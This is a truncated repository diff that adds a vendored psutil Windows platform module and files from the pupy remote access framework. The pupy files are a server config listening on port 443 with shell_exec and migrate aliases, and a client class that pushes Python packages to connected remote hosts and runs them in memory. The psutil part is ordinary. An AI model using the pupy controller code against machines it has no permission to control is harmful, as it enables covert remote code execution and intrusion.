def wait(self, timeout=None):
try:
return _psposix.wait_pid(self.pid, timeout)
except _psposix.TimeoutExpired:
# support for private module import
if TimeoutExpired is None:
raise
raise TimeoutExpired(timeout, self.pid, self._name)

View File

@ -0,0 +1,584 @@
#!/usr/bin/env python
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Windows platform implementation."""
import errno
import functools
import os
import sys
from collections import namedtuple
from . import _common
from . import _psutil_windows as cext
from ._common import conn_tmap, usage_percent, isfile_strict
from ._common import sockfam_to_enum, socktype_to_enum
from ._compat import PY3, xrange, lru_cache, long
from ._psutil_windows import (ABOVE_NORMAL_PRIORITY_CLASS,
BELOW_NORMAL_PRIORITY_CLASS,
HIGH_PRIORITY_CLASS,
IDLE_PRIORITY_CLASS,
NORMAL_PRIORITY_CLASS,
REALTIME_PRIORITY_CLASS)
if sys.version_info >= (3, 4):
import enum
else:
enum = None
# process priority constants, import from __init__.py:
# http://msdn.microsoft.com/en-us/library/ms686219(v=vs.85).aspx
__extra__all__ = ["ABOVE_NORMAL_PRIORITY_CLASS", "BELOW_NORMAL_PRIORITY_CLASS",
"HIGH_PRIORITY_CLASS", "IDLE_PRIORITY_CLASS",
"NORMAL_PRIORITY_CLASS", "REALTIME_PRIORITY_CLASS",
"CONN_DELETE_TCB",
"AF_LINK",
]
# --- module level constants (gets pushed up to psutil module)
CONN_DELETE_TCB = "DELETE_TCB"
WAIT_TIMEOUT = 0x00000102 # 258 in decimal
ACCESS_DENIED_SET = frozenset([errno.EPERM, errno.EACCES,
cext.ERROR_ACCESS_DENIED])
if enum is None:
AF_LINK = -1
else:
AddressFamily = enum.IntEnum('AddressFamily', {'AF_LINK': -1})
AF_LINK = AddressFamily.AF_LINK
TCP_STATUSES = {
cext.MIB_TCP_STATE_ESTAB: _common.CONN_ESTABLISHED,
cext.MIB_TCP_STATE_SYN_SENT: _common.CONN_SYN_SENT,
cext.MIB_TCP_STATE_SYN_RCVD: _common.CONN_SYN_RECV,
cext.MIB_TCP_STATE_FIN_WAIT1: _common.CONN_FIN_WAIT1,
cext.MIB_TCP_STATE_FIN_WAIT2: _common.CONN_FIN_WAIT2,
cext.MIB_TCP_STATE_TIME_WAIT: _common.CONN_TIME_WAIT,
cext.MIB_TCP_STATE_CLOSED: _common.CONN_CLOSE,
cext.MIB_TCP_STATE_CLOSE_WAIT: _common.CONN_CLOSE_WAIT,
cext.MIB_TCP_STATE_LAST_ACK: _common.CONN_LAST_ACK,
cext.MIB_TCP_STATE_LISTEN: _common.CONN_LISTEN,
cext.MIB_TCP_STATE_CLOSING: _common.CONN_CLOSING,
cext.MIB_TCP_STATE_DELETE_TCB: CONN_DELETE_TCB,
cext.PSUTIL_CONN_NONE: _common.CONN_NONE,
}
if enum is not None:
class Priority(enum.IntEnum):
ABOVE_NORMAL_PRIORITY_CLASS = ABOVE_NORMAL_PRIORITY_CLASS
BELOW_NORMAL_PRIORITY_CLASS = BELOW_NORMAL_PRIORITY_CLASS
HIGH_PRIORITY_CLASS = HIGH_PRIORITY_CLASS
IDLE_PRIORITY_CLASS = IDLE_PRIORITY_CLASS
NORMAL_PRIORITY_CLASS = NORMAL_PRIORITY_CLASS
REALTIME_PRIORITY_CLASS = REALTIME_PRIORITY_CLASS
globals().update(Priority.__members__)
scputimes = namedtuple('scputimes', ['user', 'system', 'idle'])
svmem = namedtuple('svmem', ['total', 'available', 'percent', 'used', 'free'])
pextmem = namedtuple(
'pextmem', ['num_page_faults', 'peak_wset', 'wset', 'peak_paged_pool',
'paged_pool', 'peak_nonpaged_pool', 'nonpaged_pool',
'pagefile', 'peak_pagefile', 'private'])
pmmap_grouped = namedtuple('pmmap_grouped', ['path', 'rss'])
pmmap_ext = namedtuple(
'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields))
ntpinfo = namedtuple(
'ntpinfo', ['num_handles', 'ctx_switches', 'user_time', 'kernel_time',
'create_time', 'num_threads', 'io_rcount', 'io_wcount',
'io_rbytes', 'io_wbytes'])
# set later from __init__.py
NoSuchProcess = None
AccessDenied = None
TimeoutExpired = None
@lru_cache(maxsize=512)
def _win32_QueryDosDevice(s):
return cext.win32_QueryDosDevice(s)
def _convert_raw_path(s):
# convert paths using native DOS format like:
# "\Device\HarddiskVolume1\Windows\systemew\file.txt"
# into: "C:\Windows\systemew\file.txt"
if PY3 and not isinstance(s, str):
s = s.decode('utf8')
rawdrive = '\\'.join(s.split('\\')[:3])
driveletter = _win32_QueryDosDevice(rawdrive)
return os.path.join(driveletter, s[len(rawdrive):])
def py2_strencode(s, encoding=sys.getfilesystemencoding()):
if PY3 or isinstance(s, str):
return s
else:
try:
return s.encode(encoding)
except UnicodeEncodeError:
# Filesystem codec failed, return the plain unicode
# string (this should never happen).
return s
# --- public functions
def virtual_memory():
"""System virtual memory as a namedtuple."""
mem = cext.virtual_mem()
totphys, availphys, totpagef, availpagef, totvirt, freevirt = mem
#
total = totphys
avail = availphys
free = availphys
used = total - avail
percent = usage_percent((total - avail), total, _round=1)
return svmem(total, avail, percent, used, free)
def swap_memory():
"""Swap system memory as a (total, used, free, sin, sout) tuple."""
mem = cext.virtual_mem()
total = mem[2]
free = mem[3]
used = total - free
percent = usage_percent(used, total, _round=1)
return _common.sswap(total, used, free, percent, 0, 0)
def disk_usage(path):
"""Return disk usage associated with path."""
try:
total, free = cext.disk_usage(path)
except WindowsError:
if not os.path.exists(path):
msg = "No such file or directory: '%s'" % path
raise OSError(errno.ENOENT, msg)
raise
used = total - free
percent = usage_percent(used, total, _round=1)
return _common.sdiskusage(total, used, free, percent)
def disk_partitions(all):
"""Return disk partitions."""
rawlist = cext.disk_partitions(all)
return [_common.sdiskpart(*x) for x in rawlist]
def cpu_times():
"""Return system CPU times as a named tuple."""
user, system, idle = cext.cpu_times()
return scputimes(user, system, idle)
def per_cpu_times():
"""Return system per-CPU times as a list of named tuples."""
ret = []
for cpu_t in cext.per_cpu_times():
user, system, idle = cpu_t
item = scputimes(user, system, idle)
ret.append(item)
return ret
def cpu_count_logical():
"""Return the number of logical CPUs in the system."""
return cext.cpu_count_logical()
def cpu_count_physical():
"""Return the number of physical CPUs in the system."""
return cext.cpu_count_phys()
def boot_time():
"""The system boot time expressed in seconds since the epoch."""
return cext.boot_time()
def net_connections(kind, _pid=-1):
"""Return socket connections. If pid == -1 return system-wide
connections (as opposed to connections opened by one process only).
"""
if kind not in conn_tmap:
raise ValueError("invalid %r kind argument; choose between %s"
% (kind, ', '.join([repr(x) for x in conn_tmap])))
families, types = conn_tmap[kind]
rawlist = cext.net_connections(_pid, families, types)
ret = set()
for item in rawlist:
fd, fam, type, laddr, raddr, status, pid = item
status = TCP_STATUSES[status]
fam = sockfam_to_enum(fam)
type = socktype_to_enum(type)
if _pid == -1:
nt = _common.sconn(fd, fam, type, laddr, raddr, status, pid)
else:
nt = _common.pconn(fd, fam, type, laddr, raddr, status)
ret.add(nt)
return list(ret)
def net_if_stats():
ret = cext.net_if_stats()
for name, items in ret.items():
name = py2_strencode(name)
isup, duplex, speed, mtu = items
if hasattr(_common, 'NicDuplex'):
duplex = _common.NicDuplex(duplex)
ret[name] = _common.snicstats(isup, duplex, speed, mtu)
return ret
def net_io_counters():
ret = cext.net_io_counters()
return dict([(py2_strencode(k), v) for k, v in ret.items()])
def net_if_addrs():
ret = []
for items in cext.net_if_addrs():
items = list(items)
items[0] = py2_strencode(items[0])
ret.append(items)
return ret
def users():
"""Return currently connected users as a list of namedtuples."""
retlist = []
rawlist = cext.users()
for item in rawlist:
user, hostname, tstamp = item
user = py2_strencode(user)
nt = _common.suser(user, None, hostname, tstamp)
retlist.append(nt)
return retlist
pids = cext.pids
pid_exists = cext.pid_exists
disk_io_counters = cext.disk_io_counters
ppid_map = cext.ppid_map # not meant to be public
def wrap_exceptions(fun):
"""Decorator which translates bare OSError and WindowsError
exceptions into NoSuchProcess and AccessDenied.
"""
@functools.wraps(fun)
def wrapper(self, *args, **kwargs):
try:
return fun(self, *args, **kwargs)
except OSError as err:
# support for private module import
if NoSuchProcess is None or AccessDenied is None:
raise
if err.errno in ACCESS_DENIED_SET:
raise AccessDenied(self.pid, self._name)
if err.errno == errno.ESRCH:
raise NoSuchProcess(self.pid, self._name)
raise
return wrapper
class Process(object):
"""Wrapper class around underlying C implementation."""
__slots__ = ["pid", "_name", "_ppid"]
def __init__(self, pid):
self.pid = pid
self._name = None
self._ppid = None
@wrap_exceptions
def name(self):
"""Return process name, which on Windows is always the final
part of the executable.
"""
# This is how PIDs 0 and 4 are always represented in taskmgr
# and process-hacker.
if self.pid == 0:
return "System Idle Process"
elif self.pid == 4:
return "System"
else:
try:
# Note: this will fail with AD for most PIDs owned
# by another user but it's faster.
return py2_strencode(os.path.basename(self.exe()))
except AccessDenied:
return py2_strencode(cext.proc_name(self.pid))
@wrap_exceptions
def exe(self):
# Note: os.path.exists(path) may return False even if the file
# is there, see:
# http://stackoverflow.com/questions/3112546/os-path-exists-lies
# see https://github.com/giampaolo/psutil/issues/414
# see https://github.com/giampaolo/psutil/issues/528
if self.pid in (0, 4):
raise AccessDenied(self.pid, self._name)
return py2_strencode(_convert_raw_path(cext.proc_exe(self.pid)))
@wrap_exceptions
def cmdline(self):
ret = cext.proc_cmdline(self.pid)
if PY3:
return ret
else:
return [py2_strencode(s) for s in ret]
def ppid(self):
try:
return ppid_map()[self.pid]
except KeyError:
raise NoSuchProcess(self.pid, self._name)
def _get_raw_meminfo(self):
try:
return cext.proc_memory_info(self.pid)
except OSError as err:
if err.errno in ACCESS_DENIED_SET:
# TODO: the C ext can probably be refactored in order
# to get this from cext.proc_info()
return cext.proc_memory_info_2(self.pid)
raise
@wrap_exceptions
def memory_info(self):
# on Windows RSS == WorkingSetSize and VSM == PagefileUsage
# fields of PROCESS_MEMORY_COUNTERS struct:
# http://msdn.microsoft.com/en-us/library/windows/desktop/
# ms684877(v=vs.85).aspx
t = self._get_raw_meminfo()
return _common.pmem(t[2], t[7])
@wrap_exceptions
def memory_info_ex(self):
return pextmem(*self._get_raw_meminfo())
def memory_maps(self):
try:
raw = cext.proc_memory_maps(self.pid)
except OSError as err:
# XXX - can't use wrap_exceptions decorator as we're
# returning a generator; probably needs refactoring.
if err.errno in ACCESS_DENIED_SET:
raise AccessDenied(self.pid, self._name)
if err.errno == errno.ESRCH:
raise NoSuchProcess(self.pid, self._name)
raise
else:
for addr, perm, path, rss in raw:
path = _convert_raw_path(path)
addr = hex(addr)
yield (addr, perm, path, rss)
@wrap_exceptions
def kill(self):
return cext.proc_kill(self.pid)
@wrap_exceptions
def send_signal(self, sig):
os.kill(self.pid, sig)
@wrap_exceptions
def wait(self, timeout=None):
if timeout is None:
timeout = cext.INFINITE
else:
# WaitForSingleObject() expects time in milliseconds
timeout = int(timeout * 1000)
ret = cext.proc_wait(self.pid, timeout)
if ret == WAIT_TIMEOUT:
# support for private module import
if TimeoutExpired is None:
raise RuntimeError("timeout expired")
raise TimeoutExpired(timeout, self.pid, self._name)
return ret
@wrap_exceptions
def username(self):
if self.pid in (0, 4):
return 'NT AUTHORITY\\SYSTEM'
return cext.proc_username(self.pid)
@wrap_exceptions
def create_time(self):
# special case for kernel process PIDs; return system boot time
if self.pid in (0, 4):
return boot_time()
try:
return cext.proc_create_time(self.pid)
except OSError as err:
if err.errno in ACCESS_DENIED_SET:
return ntpinfo(*cext.proc_info(self.pid)).create_time
raise
@wrap_exceptions
def num_threads(self):
return ntpinfo(*cext.proc_info(self.pid)).num_threads
@wrap_exceptions
def threads(self):
rawlist = cext.proc_threads(self.pid)
retlist = []
for thread_id, utime, stime in rawlist:
ntuple = _common.pthread(thread_id, utime, stime)
retlist.append(ntuple)
return retlist
@wrap_exceptions
def cpu_times(self):
try:
ret = cext.proc_cpu_times(self.pid)
except OSError as err:
if err.errno in ACCESS_DENIED_SET:
nt = ntpinfo(*cext.proc_info(self.pid))
ret = (nt.user_time, nt.kernel_time)
else:
raise
return _common.pcputimes(*ret)
@wrap_exceptions
def suspend(self):
return cext.proc_suspend(self.pid)
@wrap_exceptions
def resume(self):
return cext.proc_resume(self.pid)
@wrap_exceptions
def cwd(self):
if self.pid in (0, 4):
raise AccessDenied(self.pid, self._name)
# return a normalized pathname since the native C function appends
# "\\" at the and of the path
path = cext.proc_cwd(self.pid)
return py2_strencode(os.path.normpath(path))
@wrap_exceptions
def open_files(self):
if self.pid in (0, 4):
return []
ret = set()
# Filenames come in in native format like:
# "\Device\HarddiskVolume1\Windows\systemew\file.txt"
# Convert the first part in the corresponding drive letter
# (e.g. "C:\") by using Windows's QueryDosDevice()
raw_file_names = cext.proc_open_files(self.pid)
for _file in raw_file_names:
_file = _convert_raw_path(_file)
if isfile_strict(_file):
if not PY3:
_file = py2_strencode(_file)
ntuple = _common.popenfile(_file, -1)
ret.add(ntuple)
return list(ret)
@wrap_exceptions
def connections(self, kind='inet'):
return net_connections(kind, _pid=self.pid)
@wrap_exceptions
def nice_get(self):
value = cext.proc_priority_get(self.pid)
if enum is not None:
value = Priority(value)
return value
@wrap_exceptions
def nice_set(self, value):
return cext.proc_priority_set(self.pid, value)
# available on Windows >= Vista
if hasattr(cext, "proc_io_priority_get"):
@wrap_exceptions
def ionice_get(self):
return cext.proc_io_priority_get(self.pid)
@wrap_exceptions
def ionice_set(self, value, _):
if _:
raise TypeError("set_proc_ionice() on Windows takes only "
"1 argument (2 given)")
if value not in (2, 1, 0):
raise ValueError("value must be 2 (normal), 1 (low) or 0 "
"(very low); got %r" % value)
return cext.proc_io_priority_set(self.pid, value)
@wrap_exceptions
def io_counters(self):
try:
ret = cext.proc_io_counters(self.pid)
except OSError as err:
if err.errno in ACCESS_DENIED_SET:
nt = ntpinfo(*cext.proc_info(self.pid))
ret = (nt.io_rcount, nt.io_wcount, nt.io_rbytes, nt.io_wbytes)
else:
raise
return _common.pio(*ret)
@wrap_exceptions
def status(self):
suspended = cext.proc_is_suspended(self.pid)
if suspended:
return _common.STATUS_STOPPED
else:
return _common.STATUS_RUNNING
@wrap_exceptions
def cpu_affinity_get(self):
def from_bitmask(x):
return [i for i in xrange(64) if (1 << i) & x]
bitmask = cext.proc_cpu_affinity_get(self.pid)
return from_bitmask(bitmask)
@wrap_exceptions
def cpu_affinity_set(self, value):
def to_bitmask(l):
if not l:
raise ValueError("invalid argument %r" % l)
out = 0
for b in l:
out |= 2 ** b
return out
# SetProcessAffinityMask() states that ERROR_INVALID_PARAMETER
# is returned for an invalid CPU but this seems not to be true,
# therefore we check CPUs validy beforehand.
allcpus = list(range(len(per_cpu_times())))
for cpu in value:
if cpu not in allcpus:
if not isinstance(cpu, (int, long)):
raise TypeError(
"invalid CPU %r; an integer is required" % cpu)
else:
raise ValueError("invalid CPU %r" % cpu)
bitmask = to_bitmask(value)
cext.proc_cpu_affinity_set(self.pid, bitmask)
@wrap_exceptions
def num_handles(self):
try:
return cext.proc_num_handles(self.pid)
except OSError as err:
if err.errno in ACCESS_DENIED_SET:
return ntpinfo(*cext.proc_info(self.pid)).num_handles
raise
@wrap_exceptions
def num_ctx_switches(self):
ctx_switches = ntpinfo(*cext.proc_info(self.pid)).ctx_switches
# only voluntary ctx switches are supported
return _common.pctxsw(ctx_switches, 0)

17
pupy/pupy.conf Normal file
View File

@ -0,0 +1,17 @@
[pupyd]
address = 0.0.0.0
port = 443
keyfile = crypto/server.pem
certfile = crypto/cert.pem
[cmdline]
display_banner = yes
[aliases]
info = get_info
pyexec = pyexec
exec = shell_exec
ps = ps
migrate = migrate
contest = pyexec -c 'print "ok"'
#tasklist = shell_exec 'tasklist /v'

149
pupy/pupylib/PupyClient.py Normal file
View File

@ -0,0 +1,149 @@
# -*- coding: UTF8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------
import os.path
import os
import textwrap
import logging
import cPickle
from .PupyErrors import PupyModuleError
import traceback
import textwrap
class PupyClient(object):
def __init__(self, desc, pupsrv):
self.desc=desc
#alias
self.conn=self.desc["conn"]
self.pupsrv=pupsrv
self.load_pupyimporter()
def __str__(self):
return "PupyClient(id=%s, user=%s, hostname=%s, platform=%s)"%(self.desc["id"], self.desc["user"], self.desc["hostname"], self.desc["platform"])
def __del__(self):
del self.desc
def short_name(self):
try:
return self.desc["platform"][0:3].lower()+"_"+self.desc["hostname"]+"_"+self.desc["macaddr"].replace(':','')
except Exception:
return "unknown"
def is_unix(self):
return not self.is_windows()
def is_windows(self):
if "windows" in self.desc["platform"].lower():
return True
return False
def is_proc_arch_64_bits(self):
if "64" in self.desc["proc_arch"]:
return True
return False
def get_packages_path(self):
""" return the list of path to search packages for depending on client OS and architecture """
path=[]
if self.is_windows():
if self.is_proc_arch_64_bits():
path.append(os.path.join("packages","windows","amd64"))
else:
path.append(os.path.join("packages","windows","x86"))
path.append(os.path.join("packages","windows","all"))
elif self.is_unix():
if self.is_proc_arch_64_bits():
path.append(os.path.join("packages","linux","amd64"))
else:
path.append(os.path.join("packages","linux","x86"))
path.append(os.path.join("packages","linux","all"))
path.append(os.path.join("packages","all"))
return path
def load_pupyimporter(self):
""" load pupyimporter in case it is not """
if "pupyimporter" not in self.conn.modules.sys.modules:
pupyimporter_code=""
with open(os.path.join("packages","all","pupyimporter.py"),'rb') as f:
pupyimporter_code=f.read()
self.conn.execute(textwrap.dedent(
"""
import imp
import sys
def pupyimporter_preimporter(code):
mod = imp.new_module("pupyimporter")
mod.__name__="pupyimporter"
mod.__file__="<memimport>\\\\pupyimporter"
mod.__package__="pupyimporter"
sys.modules["pupyimporter"]=mod
exec code+"\\n" in mod.__dict__
mod.install()
"""))
self.conn.namespace["pupyimporter_preimporter"](pupyimporter_code)
def load_package(self, module_name, force=False):
"""
load a python module into memory depending on what OS the client is.
This function can load all types of modules in memory for windows both x86 and amd64 including .pyd C extensions
For other platforms : loading .so in memory is not supported yet.
"""
modules_dic={}
start_path=module_name.replace(".",os.sep)
package_found=False
package_path=None
for search_path in self.get_packages_path():
try:
if os.path.isdir(os.path.join(search_path,start_path)): # loading a real package with multiple files
for root, dirs, files in os.walk(os.path.join(search_path,start_path)):
for f in files:
module_code=""
with open(os.path.join(root,f),'rb') as fd:
module_code=fd.read()
modules_dic[os.path.join(root[len(search_path.rstrip(os.sep))+1:].replace("\\","/"),f)]=module_code
package_found=True
else: # loading a simple file
for ext in [".py",".pyc",".pyd"]:
filepath=os.path.join(search_path,start_path+ext)
if os.path.isfile(filepath):
module_code=""
with open(filepath,'rb') as f:
module_code=f.read()
cur=""
for rep in start_path.split(os.sep)[:-1]:
if not cur+rep+"/__init__.py" in modules_dic:
modules_dic[rep+"/__init__.py"]=""
cur+=rep+"/"
modules_dic[start_path+ext]=module_code
package_found=True
break
if package_found:
package_path=search_path
break
except Exception as e:
raise PupyModuleError("Error while loading package %s : %s"%(module_name, traceback.format_exc()))
if "pupyimporter" not in self.conn.modules.sys.modules:
raise PupyModuleError("pupyimporter module does not exists on the remote side !")
#print modules_dic
if not modules_dic:
raise PupyModuleError("Couldn't load package %s : no such file or directory (path=%s)"%(module_name,repr(self.get_packages_path())))
if force or ( module_name not in self.conn.modules.sys.modules ):
self.conn.modules.pupyimporter.pupy_add_package(cPickle.dumps(modules_dic)) # we have to pickle the dic for two reasons : because the remote side is not authorized to iterate/access to the dictionary declared on this side and because it is more efficient
logging.debug("package %s loaded on %s from path=%s"%(module_name, self.short_name(), package_path))
return True
return False

Some files were not shown because too many files have changed in this diff Show More